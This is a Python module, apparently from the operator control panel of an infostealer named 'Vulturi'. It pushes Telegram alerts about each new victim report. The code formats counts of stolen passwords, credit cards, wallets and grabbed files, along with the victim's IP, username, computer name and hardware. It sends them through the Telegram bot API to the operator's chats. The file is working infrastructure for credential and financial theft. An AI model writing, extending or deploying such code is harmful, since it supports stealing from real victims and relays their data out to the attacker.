#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Coded by L1ghtM3n@protonmail.com

# Import modules
from requests import get
from json import dumps, loads
# Import packages
from core.models.accounts import clients_db

""" Convert bytes to mb """
def _ConvertSize(size, precision=2):
    suffixes=["B", "KB", "MB", "GB", "TB"]
    suffixIndex = 0
    while size > 1024 and suffixIndex < 4:
        suffixIndex += 1 #increment the index of the suffix
        size = size / 1024.0 #apply the division
    return "%.*f%s"%(precision, size, suffixes[suffixIndex])

""" Run telegram notification """
def NotifyUsers(report, owner: str, ip: str):
    token, chatids = GetTelegramCredentials(owner)
    # Skip if empty
    if len(token) < 5 or len(chatids) == 0:
        return False
    # Parse data
    counter = loads(report.counter)
    info = loads(report.information)
    # Pack message
    m =  "🗃 *Vulturi new report!*\n\n"
    m += f"Remote address: {ip}\n"
    m += f"Archive size: {_ConvertSize(len(report.archive))}\n\n"

    m += "💳 *Counter statistics:*\n"
    m += f" - Passwords: {counter['passwords']}\n"
    m += f" - CreditCards: {counter['credit_cards']}\n"
    m += f" - Wallets: {counter['wallets']}\n"
    m += f" - Files: {counter['grabber']}\n\n"

    m += "🧭 *Operating System info:*\n"
    m += f" - OS: {info['os']['name']}\n"
    m += f" - Username: {info['os']['username']}\n"
    m += f" - Compname: {info['os']['compname']}\n\n"

    m += "💻 *Hardware info:*\n"
    m += f" - CPU: {info['hardware']['cpu_name']}\n"
    m += f" - GPU: {info['hardware']['gpu_name']}\n"
    m += f" - RAM: {info['hardware']['ram']}\n"
    m += f" - Screen: {info['hardware']['screen']}\n"
    m += f" - Manufacturer: {info['hardware']['manufacturer']}\n"

    # Send messages
    for chatid in chatids:
        get(f"https://api.telegram.org/bot{token}/sendMessage?chat_id={chatid}&text={m}&parse_mode=markdown")

""" Get credentials from database """
def GetTelegramCredentials(owner: str) -> tuple:
    response = clients_db.execute(
            sql="SELECT token, chatid FROM telegram WHERE owner = ?",
            values=[owner],
            commit_changes=False
        )
    # Skip if empty
    if len(response) == 0:
        return "", []
    # Return values
    else:
        return response[0][0], loads(response[0][1])

""" Change telegram bot credentials """
def SetTelegramCredentials(owner: str, token: str, chatids: list):
    clients_db.execute(
            sql="UPDATE telegram SET token = ?, chatid = ? WHERE owner = ?",
            values=[token, dumps(chatids), owner],
            commit_changes=True
        )
    # Send test message
    for chatid in chatids:
        text = f"🔗 Hello {owner}!\nThe control panel is now linked to this telegram bot, now notifications about new reports will come here"
        get(f"https://api.telegram.org/bot{token}/sendMessage?chat_id={chatid}&text={text}")

    